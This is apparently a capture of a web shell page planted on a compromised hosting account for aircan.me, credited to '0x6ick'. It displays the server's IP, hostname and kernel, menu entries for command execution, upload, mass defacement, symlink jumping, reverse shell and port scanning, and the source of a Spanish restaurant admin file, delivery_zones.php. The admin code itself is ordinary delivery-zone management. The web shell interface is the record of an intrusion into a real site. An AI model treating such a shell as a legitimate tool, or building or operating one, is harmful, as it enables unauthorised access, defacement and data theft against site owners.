Tul xxx Tul
User / IP
:
216.73.216.146
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidafran2
/
admin
/
Viewing: delivery_zones.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if(!$admin_id){ header('location:admin_login.php'); exit(); } $errors = []; $success = ''; $createForm = ['name' => '', 'fee' => '0', 'is_active' => 1]; $editForm = ['id' => '', 'name' => '', 'fee' => '0', 'is_active' => 1]; $shouldOpenCreateModal = false; $shouldOpenEditModal = false; $lastAction = ''; if($_SERVER['REQUEST_METHOD'] === 'POST'){ $action = $_POST['action'] ?? ''; $lastAction = $action; if($action === 'create'){ $name = trim($_POST['name'] ?? ''); $fee = (float)($_POST['fee'] ?? 0); $active = isset($_POST['is_active']) ? 1 : 0; $createForm = ['name' => $name, 'fee' => (string)$fee, 'is_active' => $active ? 1 : 0]; if($name === ''){ $errors[] = 'El nombre es obligatorio.'; } if($fee < 0){ $errors[] = 'La comisión no puede ser negativa.'; } if(!$errors){ try{ $stmt = $conn->prepare("INSERT INTO delivery_zones (name, fee, is_active) VALUES (?,?,?)"); $stmt->execute([$name, $fee, $active]); $success = 'Zona creada correctamente.'; $createForm = ['name' => '', 'fee' => '0', 'is_active' => 1]; } catch (Throwable $e){ $errors[] = 'No se pudo crear la zona.'; } } if($errors){ $shouldOpenCreateModal = true; } } elseif($action === 'update'){ $id = (int)($_POST['id'] ?? 0); $name = trim($_POST['name'] ?? ''); $fee = (float)($_POST['fee'] ?? 0); $active = isset($_POST['is_active']) ? 1 : 0; $editForm = ['id' => (string)$id, 'name' => $name, 'fee' => (string)$fee, 'is_active' => $active ? 1 : 0]; if($id <= 0){ $errors[] = 'Zona inválida.'; } if($name === ''){ $errors[] = 'El nombre es obligatorio.'; } if($fee < 0){ $errors[] = 'La comisión no puede ser negativa.'; } if(!$errors){ try{ $stmt = $conn->prepare("UPDATE delivery_zones SET name = ?, fee = ?, is_active = ? WHERE id = ?"); $stmt->execute([$name, $fee, $active, $id]); $success = 'Zona actualizada.'; } catch (Throwable $e){ $errors[] = 'No se pudo actualizar la zona.'; } } if($errors){ $shouldOpenEditModal = true; } } elseif($action === 'delete'){ $id = (int)($_POST['id'] ?? 0); if($id <= 0){ $errors[] = 'Zona inválida.'; } if(!$errors){ try{ $stmt = $conn->prepare("DELETE FROM delivery_zones WHERE id = ?"); $stmt->execute([$id]); $success = 'Zona eliminada.'; } catch (Throwable $e){ $errors[] = 'No se pudo eliminar la zona.'; } } } } $zones = []; try{ $zones = $conn->query("SELECT * FROM delivery_zones ORDER BY is_active DESC, name ASC")->fetchAll(PDO::FETCH_ASSOC); } catch (Throwable $e){ $zones = []; } $businessName = getBusinessName($conn); $businessLogoVersion = getBusinessLogoVersion($conn); $iconHref = '../icon.php?size=64' . ($businessLogoVersion !== '' ? '&v=' . rawurlencode($businessLogoVersion) : ''); ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Zonas de Entrega | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="../css/admin_style.css"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <style> body.zones-page{background:linear-gradient(135deg,#f5f9ff 0%,#fff7f3 100%);min-height:100vh} body.zones-page .zones-wrapper{max-width:1200px;margin:0 auto;padding:0 18px 44px;} body.zones-page .section-title{font-size:2.1rem;font-weight:900;color:#0f172a;margin:24px 0;display:flex;align-items:center;gap:.65rem;letter-spacing:.2px} body.zones-page .grid{display:flex;flex-direction:column;gap:18px} body.zones-page .card{background:rgba(255,255,255,0.86);border:1px solid rgba(226,232,240,.85);border-radius:18px;box-shadow:0 18px 42px rgba(17,24,39,.10);padding:18px;backdrop-filter:blur(10px)} body.zones-page .manage-card{display:flex;align-items:center;justify-content:space-between;gap:18px;flex-wrap:wrap} body.zones-page .manage-card p{margin:0;color:#475569;max-width:560px;line-height:1.4} body.zones-page .btn{display:inline-flex;align-items:center;justify-content:center;gap:.55rem;padding:.9rem 1.25rem;border-radius:14px;font-weight:900;letter-spacing:.2px;line-height:1;border:1px solid transparent;cursor:pointer;text-decoration:none;user-select:none;-webkit-tap-highlight-color:transparent;transition:transform .08s ease, box-shadow .2s ease, filter .2s ease, border-color .2s ease;width:auto;flex:0 0 auto;} body.zones-page .manage-card #openCreateZoneModal{width:auto;flex:0 0 auto;white-space:nowrap;} body.zones-page .btn:active{transform:translateY(1px)} body.zones-page .btn:focus-visible{outline:3px solid rgba(14,165,233,.35);outline-offset:2px} body.zones-page .btn-primary{background:linear-gradient(135deg,#0ea5e9,#2563eb);color:#fff;box-shadow:0 12px 26px rgba(37,99,235,.22)} body.zones-page .btn-primary:hover{filter:brightness(1.02);box-shadow:0 14px 30px rgba(37,99,235,.26)} body.zones-page .btn-secondary{background:rgba(255,255,255,.85);border-color:rgba(148,163,184,.55);color:#0f172a;box-shadow:0 10px 24px rgba(15,23,42,.10);backdrop-filter:blur(6px)} body.zones-page .btn-secondary:hover{border-color:rgba(148,163,184,.75);box-shadow:0 12px 28px rgba(15,23,42,.12)} body.zones-page .btn-danger{background:linear-gradient(135deg,#ef4444,#b91c1c);color:#fff;box-shadow:0 12px 26px rgba(239,68,68,.18)} body.zones-page .btn-danger:hover{filter:brightness(1.02);box-shadow:0 14px 30px rgba(239,68,68,.22)} body.zones-page .form-group{margin-bottom:12px} body.zones-page .form-label{display:block;font-weight:800;margin-bottom:6px;color:#334155} body.zones-page .form-control{width:100%;padding:.85rem 1rem;border:1.6px solid rgba(203,213,245,0.9);border-radius:12px;font-size:1rem;background:#fff} body.zones-page .form-control:focus{outline:none;border-color:rgba(14,165,233,.55);box-shadow:0 0 0 3px rgba(14,165,233,.18)} body.zones-page .modal-overlay{position:fixed;inset:0;background:rgba(15,23,42,.55);backdrop-filter:blur(3px);display:none;align-items:center;justify-content:center;z-index:2500;padding:24px} body.zones-page .modal-overlay.active{display:flex} body.zones-page .modal-dialog{background:rgba(255,255,255,0.96);border:1px solid rgba(226,232,240,.95);border-radius:22px;box-shadow:0 22px 52px rgba(17,24,39,.14);width:100%;max-width:560px;padding:26px 24px;position:relative} body.zones-page .modal-title{font-size:1.5rem;font-weight:900;color:#0f172a;margin-bottom:10px;display:flex;align-items:center;gap:.55rem} body.zones-page .modal-close{position:absolute;top:16px;right:16px;background:rgba(15,23,42,.08);border:none;width:42px;height:42px;border-radius:12px;font-size:1.6rem;color:#0f172a;cursor:pointer} body.zones-page .modal-close:hover{filter:brightness(0.96)} body.zones-page .modal-actions{display:flex;justify-content:flex-end;gap:12px;margin-top:18px;flex-wrap:wrap} body.zones-page table{width:100%;border-collapse:separate;border-spacing:0 10px} body.zones-page thead th{font-weight:900;color:#475569;text-align:left;padding:8px 10px} body.zones-page tbody tr{background:rgba(255,255,255,0.92);border:1px solid rgba(226,232,240,.85);box-shadow:0 10px 24px rgba(15,23,42,.06)} body.zones-page tbody td{padding:12px 10px;border-top:1px solid rgba(241,245,249,.95)} body.zones-page tbody tr td:first-child{border-top-left-radius:14px;border-bottom-left-radius:14px} body.zones-page tbody tr td:last-child{border-top-right-radius:14px;border-bottom-right-radius:14px} body.zones-page .badge{display:inline-flex;align-items:center;gap:.45rem;padding:.35rem .7rem;border-radius:999px;font-weight:900;font-size:.85rem;border:1px solid rgba(148,163,184,.55);background:rgba(248,250,252,.8)} body.zones-page .badge-success{border-color:rgba(16,185,129,.25);background:rgba(236,253,245,.9);color:#047857} body.zones-page .badge-muted{border-color:rgba(244,63,94,.25);background:rgba(254,242,242,.85);color:#b91c1c} body.zones-page .actions{display:flex;gap:10px;flex-wrap:wrap} body.zones-page .actions .btn{width:48px;height:48px;display:flex;align-items:center;justify-content:center;padding:0;border-radius:14px} body.zones-page .actions .btn i{font-size:1.1rem} body.zones-page .alert{padding:.95rem 1.1rem;border-radius:14px;margin:12px 0;font-weight:800;border:1px solid rgba(226,232,240,.85);background:rgba(255,255,255,0.86);box-shadow:0 12px 26px rgba(15,23,42,.08)} body.zones-page .alert-success{border-color:rgba(16,185,129,.25);background:rgba(236,253,245,.92);color:#047857} body.zones-page .alert-danger{border-color:rgba(244,63,94,.25);background:rgba(254,242,242,.9);color:#b91c1c} </style> </head> <body class="zones-page"> <?php include '../components/admin_header.php'; ?> <section class="zones-wrapper"> <h1 class="section-title"><i class="fas fa-location-dot"></i> Zonas de Entrega</h1> <?php if($success): ?><div class="alert alert-success"><?= htmlspecialchars($success) ?></div><?php endif; ?> <?php if($errors): ?><div class="alert alert-danger"><?php foreach($errors as $e){ echo htmlspecialchars($e).' '; } ?></div><?php endif; ?> <div class="grid"> <div class="card manage-card"> <div> <h2 style="font-size:1.4rem;font-weight:800;color:#1e7e34;margin-bottom:6px">Gestiona tus zonas</h2> <p>Agrega nuevas zonas/localidades para el domicilio y define la comisión que se sumará al pedido.</p> </div> <button type="button" class="btn btn-primary" id="openCreateZoneModal"><i class="fas fa-plus"></i> Agregar zona</button> </div> <div class="card"> <table> <thead> <tr> <th>Zona</th> <th>Comisión</th> <th>Estado</th> <th style="width:220px">Acciones</th> </tr> </thead> <tbody> <?php if(!$zones): ?> <tr><td colspan="4" style="padding:16px;color:#777">No hay zonas registradas.</td></tr> <?php else: foreach($zones as $z): ?> <tr> <td><?= htmlspecialchars($z['name']) ?></td> <td><?= htmlspecialchars(formatMoney((float)$z['fee'], $conn)); ?></td> <td> <?php if((int)$z['is_active'] === 1): ?> <span class="badge badge-success">Activa</span> <?php else: ?> <span class="badge badge-muted">Inactiva</span> <?php endif; ?> </td> <td> <div class="actions"> <button type="button" class="btn btn-secondary edit-zone-btn" data-id="<?= (int)$z['id'] ?>" data-name="<?= htmlspecialchars($z['name'], ENT_QUOTES, 'UTF-8') ?>" data-fee="<?= number_format((float)$z['fee'], 2, '.', '') ?>" data-active="<?= (int)$z['is_active'] ?>"> <i class="fas fa-pen"></i> </button> <form method="post" class="delete-zone-form" data-zone-name="<?= htmlspecialchars($z['name'], ENT_QUOTES, 'UTF-8'); ?>"> <input type="hidden" name="action" value="delete"> <input type="hidden" name="id" value="<?= (int)$z['id'] ?>"> <button class="btn btn-danger" type="submit"><i class="fas fa-trash"></i></button> </form> </div> </td> </tr> <?php endforeach; endif; ?> </tbody> </table> </div> </div> </section> <div class="modal-overlay" id="createZoneModal" aria-hidden="true" role="dialog" aria-modal="true"> <div class="modal-dialog" role="document"> <button class="modal-close" type="button" aria-label="Cerrar" id="closeCreateZoneModal">×</button> <h2 class="modal-title"><i class="fas fa-location-dot"></i> Agregar zona de entrega</h2> <p style="margin-bottom:18px;color:#555">Ingresa la información de la nueva zona/localidad y la comisión que se aplicará al pedido.</p> <form method="post"> <input type="hidden" name="action" value="create"> <div class="form-group"> <label class="form-label" for="modalZoneName">Nombre de la zona/localidad</label> <input type="text" name="name" id="modalZoneName" class="form-control" required value="<?= htmlspecialchars($createForm['name']) ?>"> </div> <div class="form-group"> <label class="form-label" for="modalZoneFee">Comisión de envío (<?= htmlspecialchars((string)($systemCurrency['code'] ?? '')); ?>)</label> <input type="number" name="fee" id="modalZoneFee" class="form-control" step="0.01" min="0" required value="<?= htmlspecialchars($createForm['fee']) ?>"> </div> <div class="form-group" style="display:flex;align-items:center;gap:8px"> <input type="checkbox" name="is_active" id="modalZoneActive" <?= $createForm['is_active'] ? 'checked' : '' ?>> <label for="modalZoneActive" class="form-label" style="margin:0;cursor:pointer">Activa</label> </div> <div class="modal-actions"> <button type="button" class="btn btn-secondary" id="cancelCreateZoneModal">Cancelar</button> <button class="btn btn-primary" type="submit"><i class="fas fa-save"></i> Guardar zona</button> </div> </form> </div> </div> <div class="modal-overlay" id="editZoneModal" aria-hidden="true" role="dialog" aria-modal="true"> <div class="modal-dialog" role="document"> <button class="modal-close" type="button" aria-label="Cerrar" id="closeEditZoneModal">×</button> <h2 class="modal-title"><i class="fas fa-pen"></i> Editar zona de entrega</h2> <p style="margin-bottom:18px;color:#555">Actualiza los datos de la zona/localidad seleccionada.</p> <form method="post"> <input type="hidden" name="action" value="update"> <input type="hidden" name="id" id="editZoneId" value="<?= htmlspecialchars($editForm['id']) ?>"> <div class="form-group"> <label class="form-label" for="editZoneName">Nombre de la zona/localidad</label> <input type="text" name="name" id="editZoneName" class="form-control" required value="<?= htmlspecialchars($editForm['name']) ?>"> </div> <div class="form-group"> <label class="form-label" for="editZoneFee">Comisión de envío (<?= htmlspecialchars((string)($systemCurrency['code'] ?? '')); ?>)</label> <input type="number" name="fee" id="editZoneFee" class="form-control" step="0.01" min="0" required value="<?= htmlspecialchars($editForm['fee']) ?>"> </div> <div class="form-group" style="display:flex;align-items:center;gap:8px"> <input type="checkbox" name="is_active" id="editZoneActive" <?= $editForm['is_active'] ? 'checked' : '' ?>> <label for="editZoneActive" class="form-label" style="margin:0;cursor:pointer">Activa</label> </div> <div class="modal-actions"> <button type="button" class="btn btn-secondary" id="cancelEditZoneModal">Cancelar</button> <button class="btn btn-primary" type="submit"><i class="fas fa-save"></i> Actualizar zona</button> </div> </form> </div> </div> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <script> (function(){ const createModal = document.getElementById('createZoneModal'); const editModal = document.getElementById('editZoneModal'); if(!createModal && !editModal) return; const openCreateBtn = document.getElementById('openCreateZoneModal'); const closeCreateBtn = document.getElementById('closeCreateZoneModal'); const cancelCreateBtn = document.getElementById('cancelCreateZoneModal'); const createNameField = document.getElementById('modalZoneName'); const closeEditBtn = document.getElementById('closeEditZoneModal'); const cancelEditBtn = document.getElementById('cancelEditZoneModal'); const editNameField = document.getElementById('editZoneName'); const editFeeField = document.getElementById('editZoneFee'); const editActiveField = document.getElementById('editZoneActive'); const editIdField = document.getElementById('editZoneId'); const editButtons = document.querySelectorAll('.edit-zone-btn'); const shouldOpenCreate = <?= $shouldOpenCreateModal ? 'true' : 'false' ?>; const shouldOpenEdit = <?= $shouldOpenEditModal ? 'true' : 'false' ?>; function showModal(modal, focusEl){ if(!modal) return; modal.classList.add('active'); modal.setAttribute('aria-hidden', 'false'); if(focusEl){ setTimeout(() => { focusEl.focus(); }, 100); } } function hideModal(modal){ if(!modal) return; modal.classList.remove('active'); modal.setAttribute('aria-hidden', 'true'); } if(openCreateBtn){ openCreateBtn.addEventListener('click', () => showModal(createModal, createNameField)); } if(closeCreateBtn){ closeCreateBtn.addEventListener('click', () => hideModal(createModal)); } if(cancelCreateBtn){ cancelCreateBtn.addEventListener('click', () => hideModal(createModal)); } if(createModal){ createModal.addEventListener('click', function(e){ if(e.target === createModal){ hideModal(createModal); } }); } editButtons.forEach(btn => { btn.addEventListener('click', () => { if(!editModal) return; const id = btn.getAttribute('data-id') || ''; const name = btn.getAttribute('data-name') || ''; const fee = btn.getAttribute('data-fee') || '0'; const active = btn.getAttribute('data-active') === '1'; if(editIdField) editIdField.value = id; if(editNameField) editNameField.value = name; if(editFeeField) editFeeField.value = fee; if(editActiveField) editActiveField.checked = active; showModal(editModal, editNameField); }); }); if(closeEditBtn){ closeEditBtn.addEventListener('click', () => hideModal(editModal)); } if(cancelEditBtn){ cancelEditBtn.addEventListener('click', () => hideModal(editModal)); } if(editModal){ editModal.addEventListener('click', function(e){ if(e.target === editModal){ hideModal(editModal); } }); } document.addEventListener('keydown', function(e){ if(e.key === 'Escape'){ if(createModal && createModal.classList.contains('active')) hideModal(createModal); if(editModal && editModal.classList.contains('active')) hideModal(editModal); } }); if(shouldOpenCreate){ showModal(createModal, createNameField); } if(shouldOpenEdit){ showModal(editModal, editNameField); } document.querySelectorAll('form.delete-zone-form').forEach(form => { form.addEventListener('submit', async (e) => { e.preventDefault(); const zoneName = form.getAttribute('data-zone-name') || ''; if (typeof window.Swal === 'undefined' || typeof window.Swal.fire !== 'function') { if (confirm('¿Eliminar esta zona?')) { form.submit(); } return; } const res = await Swal.fire({ icon: 'warning', title: 'Eliminar zona', text: zoneName ? `Se eliminará la zona: ${zoneName}` : 'Esta acción no se puede deshacer.', showCancelButton: true, confirmButtonText: 'Sí, eliminar', cancelButtonText: 'Cancelar', confirmButtonColor: '#ef4444', cancelButtonColor: '#64748b' }); if (res.isConfirmed) { form.submit(); } }); }); })(); </script> </body> </html>
Coded With 💗 by
0x6ick